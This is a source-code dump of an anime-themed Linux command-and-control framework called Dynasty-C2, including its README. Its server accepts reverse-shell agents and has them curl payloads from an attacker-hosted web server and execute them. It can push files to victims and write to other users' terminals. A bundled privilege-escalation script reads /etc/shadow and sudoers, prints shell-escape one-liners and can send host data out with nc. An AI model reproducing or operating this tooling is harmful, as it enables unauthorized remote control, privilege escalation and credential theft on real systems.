├── web_app ├── payloads │ ├── PwnKit │ ├── linuxprivchecker.py │ ├── lse.sh │ └── linux-exploit-suggester.sh ├── app.py └── templates │ └── index.html ├── dynasty ├── colors.py ├── privesc.py ├── banners.py └── server.py ├── dynasty.sh └── README.md /web_app/payloads/PwnKit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevohack/Dynasty-C2/HEAD/web_app/payloads/PwnKit -------------------------------------------------------------------------------- /dynasty/colors.py: -------------------------------------------------------------------------------- 1 | 2 | # Colors 3 | 4 | class NiceColors: 5 | green = "[green]" 6 | reset = "[/]" 7 | yellow = "[yellow]" 8 | cyan = "[cyan]" 9 | red = "[red]" 10 | blue = "[blue]" 11 | magenta = "[magenta]" 12 | -------------------------------------------------------------------------------- /dynasty/privesc.py: -------------------------------------------------------------------------------- 1 | from rich.table import Table 2 | from rich.console import Console 3 | from rich.progress import Progress 4 | from rich.panel import Panel 5 | from rich.live import Live 6 | 7 | 8 | privesc = [ 9 | [1, "PwnKit"], 10 | [2, "linuxprivchecker.py"], 11 | [3, "linpeas.sh"], 12 | [4, "linux-exploit-suggester.sh"], 13 | [5, "lse.sh"] 14 | ] 15 | privesc_tab = Table(title="Payloads", show_header=True) 16 | privesc_tab.add_column("Number", style="cyan") 17 | privesc_tab.add_column("Payload", style="magenta") 18 | 19 | for payload in privesc: 20 | privesc_tab.add_row(str(payload[0]), payload[1]) 21 | 22 | -------------------------------------------------------------------------------- /web_app/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from flask import Flask, render_template, request, send_from_directory 4 | 5 | app = Flask(__name__) 6 | 7 | payloads_dir = 'payloads' 8 | 9 | @app.route('/') 10 | def index(): 11 | files = os.listdir(payloads_dir) 12 | return render_template('index.html', files=files) 13 | 14 | @app.route('/search') 15 | def search(): 16 | query = request.args.get('query', '').lower() 17 | files = os.listdir(payloads_dir) 18 | filtered_files = [file for file in files if query in file.lower()] 19 | return render_template('index.html', files=filtered_files, query=query) 20 | 21 | @app.route('/payloads/') 22 | def serve_file(filename): 23 | return send_from_directory(payloads_dir, filename) 24 | 25 | if __name__ == '__main__': 26 | app.run(debug=True) 27 | 28 | -------------------------------------------------------------------------------- /dynasty.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | usage() { 5 | echo "Usage: $0 " 6 | exit 1 7 | } 8 | animation_chars="/-\|" 9 | start_time=$(date +%s) 10 | while true; do 11 | current_time=$(date +%s) 12 | elapsed_time=$((current_time - start_time)) 13 | if [ $elapsed_time -ge 10 ]; then 14 | break 15 | fi 16 | 17 | for (( i=0; i<${#animation_chars}; i++ )); do 18 | echo -en "${animation_chars:$i:1} Activating the dynasty...\r" 19 | sleep 0.1 20 | done 21 | done 22 | 23 | ip="$1" 24 | port="$2" 25 | web_port="$3" 26 | log_file="web_app.log" 27 | 28 | if [[ $# -ne 3 ]]; then 29 | echo "Error: Missing required arguments." 30 | usage 31 | fi 32 | 33 | cd web_app 34 | flask run --host="$ip" --port="$web_port" > "$log_file" 2>&1 & 35 | echo "Flask app running in the background. Logs redirected to $log_file" 36 | 37 | echo "[+] Activating server" 38 | python3 ../dynasty/server.py $ip $port $web_port 39 | -------------------------------------------------------------------------------- /web_app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Dynasty 7 | 8 | 9 | 10 |
11 |

Dynasty - Web App

12 |
13 |
14 |
15 |
16 | 17 | 18 |
19 | 20 |
21 |
22 |
23 |
    24 | {% for file in files %} 25 |
  • {{ file }}
  • 26 | {% endfor %} 27 | {% if not files %} 28 |
  • No files found.
  • 29 | {% endif %} 30 |
31 |
32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /dynasty/banners.py: -------------------------------------------------------------------------------- 1 | from rich.table import Table 2 | from colors import NiceColors 3 | 4 | 5 | class characters: 6 | naruto = f"[{NiceColors.red}Naruto{NiceColors.reset}]" 7 | goku = f"[{NiceColors.yellow}Son Goku{NiceColors.reset}]" 8 | sakura = f"[{NiceColors.green}Sakura{NiceColors.reset}]" 9 | monkey = f"[{NiceColors.blue}Monkey D. Luffy{NiceColors.reset}]" 10 | yagmi = f"[{NiceColors.cyan}Light Yagmi{NiceColors.reset}]" 11 | 12 | agent_chars = [naruto, goku, sakura, monkey, yagmi] 13 | 14 | class banners: 15 | alien = f""" 16 | {NiceColors.blue} 17 | _________________________________________________________ 18 | {NiceColors.reset} 19 | {NiceColors.magenta} 20 | ,------------. 21 | /////// |huahahahaha!| /`., , 22 | || - _| `------------' /'/''< 23 | |/ O o| | _.' /_'\. 24 | (- `\| | (_ oOo __) | 25 | | `-'| \ `\:/' `\ 26 | ____/ --- |___ `- /` |____ 27 | / `\ .___/ | \ /'\__(()\_/ _ `\ 28 | / `\ /' \ | | (\\\)__/ | 29 | / / `\___/' | \ | | \ / 30 | {NiceColors.blue} 31 | _________________________________________________________ 32 | {NiceColors.reset} 33 | 34 | """ 35 | 36 | 37 | help = f""" 38 | {NiceColors.blue} 39 | ------------------------------------------------------------------------------------ 40 | {NiceColors.reset} 41 | 42 | {NiceColors.yellow}Dynasty - Help Menu{NiceColors.reset} 43 | 44 | {NiceColors.magenta}Command{NiceColors.reset} {NiceColors.magenta}Usage{NiceColors.reset} 45 | ------- ------ 46 | 47 | "help".......................................................................{NiceColors.cyan}Displays this help message{NiceColors.reset} 48 | "kill (key)".....................................................................{NiceColors.cyan}Kill active characters{NiceColors.reset} 49 | "agents".....................................................................{NiceColors.cyan}List all characters beaten{NiceColors.reset} 50 | "use (agent num)".........................................................{NiceColors.cyan}Get a shell to selected agent{NiceColors.reset} 51 | "generate payloads lhost= lport= shell="....................{NiceColors.cyan}Generate payloads{NiceColors.reset} 52 | 53 | 54 | {NiceColors.yellow}Dynasty - In Agent{NiceColors.reset} 55 | 56 | 57 | "background"..................................................................{NiceColors.cyan}Background selected agent{NiceColors.reset} 58 | "troll"............................................................{NiceColors.cyan}Send commands to tty shells in agent{NiceColors.reset} 59 | "show privesc-check"..................................................................{NiceColors.cyan}View all payloads{NiceColors.reset} 60 | "set privesc-check (num)"...................................................{NiceColors.cyan}Activate a payload on agent{NiceColors.reset} 61 | "server status"...............................................{NiceColors.cyan}Check server status and web server status{NiceColors.reset} 62 | "upload [filename]......................................................{NiceColors.cyan}Upload a file to selected agent{NiceColors.reset} 63 | 64 | "exit"................................................................................{NiceColors.cyan}Exit the Dynasty!{NiceColors.reset} 65 | 66 | 67 | 68 | The Dynasty! 69 | 70 | 71 | Made with ❤️ by Trevohack 72 | """ 73 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Dynasty 2.0 (beta)

4 | 5 |
6 | Dynasty: A C2 framework inspired by anime, currently supporting Linux.
7 | GitHub Repo stars 8 | Static Badge 9 | Static Badge 10 |

11 | Install 12 | 13 | Documentation 14 | 15 | Usage 16 |

17 |
18 | 19 | ```bash 20 | ❯ ./dynasty.sh 0.0.0.0 9999 9090 21 | Flask app running in the background. Logs redirected to web_app.log 22 | [+] Activating server 23 | 24 | 25 | ____ _ _ 26 | / __ _ _______ ___ _| |_ _ | | 27 | | \ \__| |_ |____ |_ _ / / |_ __|| || | 28 | | / __ \ ___/ _/|_|_| | |___ __ ___________ / // \| || | 29 | / _\/ /\ | |___ _____| | _ \| | |___________| /__ /_| || | 30 | | |/ _/_/ | / /____ | | | | | / _/ /|_|| | 31 | \___/ \__/ \_______| /__/ \___/ /_/ / ___| | | 32 | \_/\_\____| | 33 | ____/ 34 | 35 | __ 36 | / 37 | Dynasty C2 | Version 1.0 (beta) | [ treveen:anonymous ] 38 | __/ 39 | Made by Trevohack 40 | 41 | [ "Dyansty" inspired by ANIME ] 42 | [ Anime-inspired C2 framework for digital heros ] 43 | 44 | Try help! 45 | 46 | OPEN PORTS 47 | 0.0.0.0:9999................TCP Listener For Agents 48 | 0.0.0.0:9090................Web Server 49 | 50 | 51 | -------------------------------------------------------------------------- 52 | 53 | [treveen@dynasty]~# 54 | ``` 55 | 56 | 57 | ## Introduction 58 | 59 | Welcome to Dynasty-C2, an advanced Command and Control (C2) framework inspired by anime and meticulously crafted to provide powerful capabilities for digital operations, currently supporting Linux environments. 60 | 61 | ## Features Overview 62 | 63 | - **Web Server**: Dynasty-C2 hosts its own web server for distributing required payloads, ensuring seamless communication. 64 | - **Convenient Startup**: With a simple one-liner command, start the console and web server effortlessly. 65 | - **Agent Interaction**: Facilitates interaction with multiple agents, allowing for effective management of sessions. 66 | - **Cross-Platform Compatibility**: While currently focused on Linux environments, future releases aim to support Windows compatibility. 67 | - **Persistence Payloads**: Planned future enhancements include the integration of persistence payloads for extended control. 68 | - **Unique Agent Identification**: Generates a unique key for each agent, enabling efficient tracking and management. 69 | - **User-Friendly Interface**: Offers a streamlined interface for ease of use, simplifying complex operations. 70 | - **File Upload Functionality**: Allows for seamless file uploads to selected agents, enhancing operational flexibility. 71 | - **Payload Generation**: Empowers users to generate customized payloads to specific requirements. 72 | 73 | ## Documentation Highlights 74 | 75 | ### Commands Overview 76 | 77 | - **Console Commands**: 78 | - `agents`: Lists all active connections. 79 | - `use [agent]`: Initiates interaction with a selected agent, providing access to a shell. 80 | - `kill [key]`: Terminates a selected agent using its unique key. 81 | - `generate payloads lhost= lport= shell=`: Generates payloads based on specified parameters. 82 | - `show privesc-payloads`: Displays all available privilege escalation payloads. 83 | - `server status`: Provides status information about the web server. 84 | 85 | - **Agent Commands**: 86 | - `set privesc-payload [num]`: Activates a selected privilege escalation payload on the target system. 87 | - `troll`: Sends commands to all terminal sessions on the target system. 88 | - `upload [url]`: Facilitates file uploads to the agent. 89 | - `quit`: Backgrounds the selected agent for later interaction. 90 | 91 | ## Installation Instructions 92 | 93 | * To install Dynasty-C2, follow these steps: 94 | 95 | * Clone the repository using `git`: 96 | ```bash 97 | $ git clone https://github.com/Trevohack/Dynasty-C2 98 | $ cd Dynasty-C2 99 | $ chmod +x dynasty.sh 100 | ``` 101 | 102 | ## Usage 103 | 104 | * Execute the script with appropriate parameters: 105 | ```bash 106 | $ ./dynasty.sh 107 | ``` 108 | 109 | * Ensure that the lhost denotes the listener host, the lport specifies the port for the C2 server, and the web_port designates the port for hosting payloads. 110 | 111 | * This command will initiate Dynasty-C2 with two open ports: lport and web_port. 112 | 113 | 114 | ### Thank You! 115 | -------------------------------------------------------------------------------- /web_app/payloads/linuxprivchecker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ############################################################################################################### 4 | ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3 5 | ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 | ## [Updater]: Mike Merrill (linted) 7 | ##------------------------------------------------------------------------------------------------------------- 8 | ## [Details]: 9 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 10 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 11 | ## passwords and applicable exploits. 12 | ##------------------------------------------------------------------------------------------------------------- 13 | ## [Warning]: 14 | ## This script comes as-is with no promise of functionality or accuracy. 15 | ##------------------------------------------------------------------------------------------------------------- 16 | ## [Modification, Distribution, and Attribution]: 17 | ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 18 | ## author attribution and not attempt to sell it or incorporate it into any commercial offering. 19 | ############################################################################################################### 20 | 21 | # conditional import for older versions of python not compatible with subprocess 22 | from sys import version_info 23 | if version_info >= (3,5): 24 | #import subprocess as sub 25 | from subprocess import run, PIPE 26 | def do_cmd(cmd): 27 | return run(cmd, stdout=PIPE, stderr=PIPE, shell=True).stdout 28 | elif version_info >= (3,): 29 | #import os # older version of python, need to use ### instead 30 | from subprocess import check_output, STDOUT 31 | def do_cmd(cmd): 32 | return check_output(cmd, shell=True, stderr=STDOUT) 33 | else: 34 | print("Error: please run in python3 only.") 35 | exit(1) 36 | 37 | # title / formatting 38 | bigline = "=" * 80 39 | smlline = "-" * 80 40 | 41 | 42 | 43 | def header(message): 44 | print(bigline) 45 | print(message) 46 | print(bigline) 47 | print("") 48 | 49 | # loop through dictionary, execute the commands, store the results, return updated dict 50 | def execCmd(cmdDict): 51 | for item in cmdDict: 52 | cmd = cmdDict[item]["cmd"] 53 | try: 54 | stdout = do_cmd(cmd) 55 | results = stdout.decode().split('\n') 56 | except Exception as e: 57 | results = ['[-] failed: {}'.format(e)] 58 | cmdDict[item]["results"]=results 59 | 60 | printResults(cmdDict) 61 | 62 | # print results for each previously executed command, no return value 63 | def printResults(cmdDict): 64 | for item in cmdDict: 65 | msg = cmdDict[item]["msg"] 66 | results = cmdDict[item]["results"] 67 | print("[+] " + msg) 68 | for result in results: 69 | if result.strip() != "": 70 | print( " " + result.strip()) 71 | print("\n") 72 | return 73 | 74 | def writeResults(msg, results): 75 | f = open("privcheckout.txt", "a") 76 | f.write("[+] " + str(len(results)-1) + " " + msg) 77 | for result in results: 78 | if result.strip() != "": 79 | f.write(" " + result.strip()) 80 | f.close() 81 | return 82 | 83 | header("LINUX PRIVILEGE ESCALATION CHECKER") 84 | 85 | # Basic system info 86 | print( "[*] GETTING BASIC SYSTEM INFO...\n") 87 | 88 | sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System"}, 89 | "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel"}, 90 | "HOSTNAME":{"cmd":"hostname", "msg":"Hostname"} 91 | } 92 | 93 | execCmd(sysInfo) 94 | 95 | # Networking Info 96 | 97 | print( "[*] GETTING NETWORKING INFO...\n") 98 | 99 | netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces"}, 100 | "ROUTE":{"cmd":"route", "msg":"Route"}, 101 | "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat"}, 102 | "IP_Adder":{"cmd":"ip addr", "msg":"ip addr"}, 103 | "IP_Route":{"cmd":"ip route", "msg":"ip route"}, 104 | "SS":{"cmd":"ss -antup", "msg":"ss"} 105 | } 106 | 107 | execCmd(netInfo) 108 | 109 | # File System Info 110 | print( "[*] GETTING FILESYSTEM INFO...\n") 111 | 112 | driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results"}, 113 | "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries"} 114 | } 115 | 116 | execCmd(driveInfo) 117 | 118 | # Scheduled Cron Jobs 119 | cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs"}, 120 | "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs"} 121 | } 122 | 123 | execCmd(cronInfo) 124 | 125 | # User Info 126 | print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n") 127 | 128 | userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User"}, 129 | "ID":{"cmd":"id","msg":"Current User ID"}, 130 | "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users"}, 131 | "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:"}, 132 | "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)"}, 133 | "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment"}, 134 | "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)"}, 135 | "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity"} 136 | } 137 | 138 | execCmd(userInfo) 139 | 140 | if "root" in userInfo["ID"]["results"][0]: 141 | print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n") 142 | 143 | # File/Directory Privs 144 | print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n") 145 | 146 | fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'"}, 147 | "WWDIRS":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root"}, 148 | "WWFILES":{"cmd":"find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o+w \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files"}, 149 | "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories"}, 150 | "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible"} 151 | } 152 | 153 | execCmd(fdPerms) 154 | 155 | pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'"}, 156 | "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'"}, 157 | "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)"} 158 | } 159 | 160 | execCmd(pwdFiles) 161 | 162 | # Processes and Applications 163 | print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n") 164 | 165 | if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 166 | getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 167 | else: 168 | getPkgs = "rpm -qa | sort -u" # RH/other 169 | 170 | getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes"}, 171 | "PKGS":{"cmd":getPkgs, "msg":"Installed Packages"}} 172 | 173 | execCmd(getAppProc) 174 | 175 | otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)"}, 176 | "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules"}, 177 | "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File"}} 178 | 179 | execCmd(otherApps) 180 | 181 | print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n") 182 | 183 | # find the package information for the processes currently running 184 | # under root or another super user 185 | 186 | procs = getAppProc["PROCS"]["results"] 187 | pkgs = getAppProc["PKGS"]["results"] 188 | supusers = userInfo["SUPUSERS"]["results"] 189 | procdict = {} # dictionary to hold the processes running as super users 190 | 191 | for proc in procs: # loop through each process 192 | relatedpkgs = [] # list to hold the packages related to a process 193 | try: 194 | for user in supusers: # loop through the known super users 195 | if (user != "") and (user in proc): # if the process is being run by a super user 196 | procname = proc.split(" ")[4] # grab the process name 197 | if "/" in procname: 198 | splitname = procname.split("/") 199 | procname = splitname[len(splitname)-1] 200 | for pkg in pkgs: # loop through the packages 201 | if not len(procname) < 3: # name too short to get reliable package results 202 | if procname in pkg: 203 | if procname in procdict: 204 | relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 205 | if pkg not in relatedpkgs: 206 | relatedpkgs.append(pkg) # add pkg to the list 207 | procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 208 | except: 209 | pass 210 | 211 | for key in procdict: 212 | print(" " + key) # print the process name 213 | try: 214 | if not procdict[key][0] == "": # only print the rest if related packages were found 215 | print(" Possible Related Packages: ") 216 | for entry in procdict[key]: 217 | print(" " + entry) # print each related package 218 | except: 219 | pass 220 | 221 | # EXPLOIT ENUMERATION 222 | 223 | # First discover the avaialable tools 224 | print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n") 225 | 226 | devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools"}} 227 | execCmd(devTools) 228 | 229 | print("[+] Related Shell Escape Sequences...\n") 230 | 231 | escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], 232 | "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], 233 | "perl":["perl -e 'exec \"/bin/bash\";'"], 234 | "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], 235 | "nmap":["--interactive"]} 236 | 237 | for cmd in escapeCmd: 238 | for result in devTools["TOOLS"]["results"]: 239 | if cmd in result: 240 | for item in escapeCmd[cmd]: 241 | print(" " + cmd + "-->\t" + item) 242 | print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n") 243 | 244 | question = input("[?] Would you like to search for possible exploits? [y/N] ") 245 | if 'y' in question.lower(): 246 | server = input("[?] What is the address of the server? ") 247 | port = input("[?] What port is the server using? ") 248 | print("[ ] Connecting to {}:{}".format(server,port)) 249 | exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}} 250 | execCmd(exploits) 251 | 252 | print("\n[+] Finished") 253 | print(bigline) 254 | -------------------------------------------------------------------------------- /dynasty/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import threading 4 | import time 5 | import sys 6 | import select 7 | import uuid 8 | import random 9 | import signal 10 | import readline 11 | import requests 12 | import getpass 13 | from rich.table import Table 14 | import platform 15 | from rich.console import Console 16 | from rich.progress import Progress 17 | from rich.panel import Panel 18 | from rich.live import Live 19 | from rich.layout import Layout 20 | from rich.prompt import Prompt 21 | from rich.progress import track 22 | from rich.align import Align 23 | from rich.bar import Bar 24 | import typer 25 | from banners import characters 26 | from banners import banners 27 | from colors import NiceColors 28 | from privesc import privesc 29 | from privesc import privesc_tab 30 | import base64 31 | import re 32 | from contextlib import contextmanager 33 | 34 | 35 | HOST = sys.argv[1] 36 | PORT = sys.argv[2] 37 | WEB_PORT = sys.argv[3] 38 | app = typer.Typer() 39 | conn_list = {} 40 | console = Console() 41 | 42 | 43 | 44 | def get_os_info(conn): 45 | try: 46 | conn.settimeout(1) 47 | try: 48 | while True: 49 | data = conn.recv(1024) 50 | if not data: 51 | break 52 | except socket.timeout: 53 | pass 54 | 55 | conn.sendall(b"uname -a\n") 56 | conn.settimeout(5) 57 | os_info = b"" 58 | while True: 59 | try: 60 | data = conn.recv(1024) 61 | if not data: 62 | break 63 | os_info += data 64 | except socket.timeout: 65 | break 66 | if "Linux" in os_info.decode('utf-8').strip(): 67 | return "Linux" 68 | else: 69 | return "Windows" 70 | except Exception as e: 71 | print(f"Failed to get OS info: {e}") 72 | return "Unknown" 73 | 74 | def get_hostname(conn): 75 | try: 76 | 77 | conn.settimeout(1) 78 | try: 79 | while True: 80 | data = conn.recv(1024) 81 | if not data: 82 | break 83 | except socket.timeout: 84 | pass 85 | 86 | conn.sendall(b"hostname\n") 87 | conn.settimeout(5) 88 | host_info = b"" 89 | while True: 90 | try: 91 | data = conn.recv(1024) 92 | if not data: 93 | break 94 | host_info += data 95 | except socket.timeout: 96 | break 97 | 98 | hostname = host_info.decode('utf-8').strip().split()[1] 99 | return hostname 100 | 101 | except Exception as e: 102 | print(f"Failed to get hostname: {e}") 103 | return "Unknown" 104 | 105 | def server(HOST, PORT): 106 | global conn_list 107 | 108 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 109 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 110 | s.bind((HOST, PORT)) 111 | s.listen(5) 112 | 113 | def handle_client(conn, addr): 114 | client_id = str(uuid.uuid4()) 115 | os_info = get_os_info(conn) 116 | host_info = get_hostname(conn) 117 | conn_list[client_id] = {"Connection": conn, "IP": addr[0], "OS": os_info, "Hostname": host_info} 118 | 119 | while True: 120 | conn, addr = s.accept() 121 | threading.Thread(target=handle_client, args=(conn, addr)).start() 122 | 123 | def list_agents(): 124 | global conn_list 125 | 126 | agents = 0 127 | table = Table(title="Agent List") 128 | table.add_column("Agents", style="cyan") 129 | table.add_column("ID", style="magenta") 130 | table.add_column("IP", style="green") 131 | table.add_column("OS", style="blue") 132 | table.add_column("Hostname", style="blue") 133 | table.add_column("Character", style="yellow") 134 | 135 | if conn_list: 136 | for client_id, client_info in conn_list.items(): 137 | agents += 1 138 | agent_char = random.choice(characters.agent_chars) 139 | table.add_row(str(agents), client_id, client_info["IP"], client_info["OS"], client_info["Hostname"], agent_char) 140 | 141 | console.log(table) 142 | else: 143 | console.log("[[red]ERROR[/]]No agents connected .") 144 | 145 | def kill_agent(agent_key): 146 | global conn_list 147 | 148 | if agent_key in conn_list: 149 | agent_info = conn_list.pop(agent_key, None) 150 | if agent_info: 151 | agent_conn = agent_info.get("Connection") 152 | if agent_conn: 153 | agent_conn.close() 154 | console.log(f"{NiceColors.green}[INFO] Agent {agent_key} has been terminated :){NiceColors.reset}") 155 | else: 156 | console.log(f"{NiceColors.red}[ERROR] Connection for agent {agent_key} not found :({NiceColors.reset}") 157 | else: 158 | console.log(f"{NiceColors.red}[ERROR] Information for agent {agent_key} not found :({NiceColors.reset}") 159 | else: 160 | console.log(f"{NiceColors.red}[ERROR] Agent {agent_key} not found :({NiceColors.reset}") 161 | 162 | def start_interaction(agent_num): 163 | global conn_list 164 | if conn_list: 165 | keys = list(conn_list.keys()) 166 | if agent_num <= len(keys): 167 | cmd_interact(conn_list[keys[agent_num - 1]]["Connection"], keys[agent_num - 1], keys[agent_num - 1]) 168 | else: 169 | console.log(f"{NiceColors.red}[ERROR] Invalid agent number {NiceColors.reset}") 170 | else: 171 | console.log(f"{NiceColors.red}[ERROR]No connections{NiceColors.reset}") 172 | 173 | def recv_all(conn, buffer_size=4096): 174 | data = b"" 175 | while True: 176 | chunk = conn.recv(buffer_size) 177 | if not chunk: 178 | break 179 | data += chunk 180 | return data 181 | 182 | def check_python_paths(conn): 183 | python_paths = ['/usr/bin/python3', '/usr/bin/python', '/usr/local/bin/python3', '/usr/local/bin/python'] 184 | found_paths = [] 185 | 186 | for path in python_paths: 187 | try: 188 | command = f"{path} --version 2>/dev/null" 189 | conn.sendall(command.encode('utf-8') + b'\n') 190 | output = recv_all(conn, 1024).decode('utf-8').strip() 191 | 192 | if "Python" in output: 193 | version_str = output.split()[1] 194 | version = int(version_str.split('.')[0]) 195 | found_paths.append((path, version)) 196 | 197 | except Exception as e: 198 | console.log(f"Failed to check {path}: {e}") 199 | 200 | return found_paths 201 | 202 | 203 | def print_agent_info(conn_list, agent_key): 204 | if conn_list: 205 | if agent_key in conn_list: 206 | client_info = conn_list[agent_key] 207 | console.log(f"[dodger_blue1]Agent Key: [cyan]{agent_key}[/]") 208 | console.log(f"[dodger_blue1]IP: [cyan]{client_info['IP']}[/]") 209 | console.log(f"[dodger_blue1]OS: [cyan]{client_info['OS']}[/]") 210 | else: 211 | console.log("[[red]ERROR[/]] Agent key not available") 212 | 213 | def cmd_interact(conn, victim, socket_target): 214 | global conn_list 215 | global PYTHON_VERSION 216 | 217 | print_agent_info(conn_list, victim) 218 | 219 | python_versions = check_python_paths(conn) 220 | if python_versions: 221 | console.log("[info]Python is available on the following paths:[/]") 222 | for path, version in python_versions: 223 | console.log(f" {path}: {version}") 224 | PYTHON_VERSION = version 225 | else: 226 | console.log("[info]Python is not available on the active agent.[/]") 227 | 228 | try: 229 | while True: 230 | ready, _, _ = select.select([conn, sys.stdin], [], [], 1) 231 | 232 | if conn in ready: 233 | data = conn.recv(8912).decode('utf-8') 234 | if not data: 235 | command = console.input() 236 | conn.sendall(command.encode('utf-8') + b'\n') 237 | output = conn.recv(8912).decode('utf-8') 238 | print(data) 239 | else: 240 | print(data, end='') 241 | 242 | if sys.stdin in ready: 243 | command = console.input() 244 | if command.lower() == "quit" or command.lower() == "exit": 245 | break 246 | 247 | if "show privesc-payloads" in command.lower(): 248 | console.log(privesc_tab) 249 | 250 | tmp_var = command.lower().split(' ') 251 | if "check" in command.lower(): 252 | if tmp_var[0] == "check": 253 | if tmp_var[1] == "privesc": 254 | selected_payload = int(tmp_var[2]) 255 | if 0 < selected_payload <= len(privesc): 256 | payload = privesc[selected_payload-1][1] 257 | if 1 <= int(selected_payload) <= 5: 258 | cmd = f"curl {sys.argv[1]}:{sys.argv[3]}/payloads/{payload} -O {payload}" 259 | conn.sendall(cmd.encode('utf-8') + b'\n') 260 | output = conn.recv(8912).decode('utf-8') 261 | print(output) 262 | cmd = f"chmod +x {payload}; ./{payload}" 263 | conn.sendall(cmd.encode('utf-8') + b'\n') 264 | output = conn.recv(8912).decode('utf-8') 265 | print(output) 266 | 267 | if command.lower().startswith("upload"): 268 | file_path = command.split(" ")[1] 269 | file_name = command.split(" ")[2] 270 | if os.path.exists(file_path): 271 | with open(file_path, "rb") as f: 272 | file_data = f.read() 273 | cmd = f""" 274 | echo '{file_data}' > {file_name} 275 | """ 276 | conn.sendall(cmd.encode('utf-8') + b'\n') 277 | output = conn.recv(8912).decode('utf-8') 278 | print(output) 279 | else: 280 | print("File not found.") 281 | 282 | if command.lower() == "troll": 283 | troll_command = input(f"[TROLL] > ") 284 | troll = f"MY=$(tty|cut -d'/' -f4);for L in $(seq 5);do [ $MY == $L] && {{ echo 'Live'; }} || {{ {troll_command} > /dev/pts/$L 2>/dev/null & }};done 2>/dev/null" 285 | conn.sendall(troll.encode('utf-8') + b'\n') 286 | output = conn.recv(8912).decode('utf-8') 287 | print(output) 288 